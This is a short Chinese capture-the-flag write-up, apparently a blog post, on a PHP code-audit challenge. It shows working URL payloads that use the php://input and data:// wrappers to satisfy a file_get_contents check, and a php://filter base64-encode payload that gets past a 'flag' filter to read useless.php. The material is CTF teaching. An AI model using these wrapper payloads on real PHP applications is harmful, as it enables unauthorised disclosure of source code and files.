第一层绕过:
代码审计,先绕过file_get_contents
有两种方式绕过:
- 使用
php://input
伪协议绕过 ① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值 - 用
data://
伪协议绕过 将url改为:?xxx=data://text/plain;base64
,想要file_get_contents()函数返回的值的base64编码 或者将url改为:?xxx=data:text/plain,(url编码的内容)
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二层绕过
过滤了flag,题目提示useless.php
,使用伪协议绕过
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串base64编码,解码
关注
打赏